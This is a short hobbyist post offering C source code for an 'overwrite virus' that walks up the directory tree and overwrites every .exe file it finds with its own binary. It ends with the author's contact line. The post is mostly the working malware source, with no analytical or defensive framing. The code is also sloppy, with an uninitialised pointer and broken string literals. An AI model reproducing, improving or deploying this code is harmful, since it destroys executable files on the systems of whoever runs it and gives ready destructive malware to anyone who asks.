OVER WRITE VIRUS WRITTEN IN "C"

It is a overwrite virus written in C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

Code :

#include<stdio.h>
#include<dir.h>
#include<dos.h>
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
    done=findfirst("*.exe",f,0);
    while(!done)
    {
        virus=fopen(argv[0],"rb");//open the virus in read mode
        host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

         for(;fread(buffer,512,1,virus)==1;)

            fwrite(buffer,512,1,host);
        fclose(host);
        fseek(virus,0,0);//points to begining of virus
        printf("infecting %s
",f->ff_name);
        done=findnext(f);
        }
}
while(!chdir(".."));
printf("For any querry contact
    Tapan Kumar
Mishra,id:titu_igit@rediffmail.com");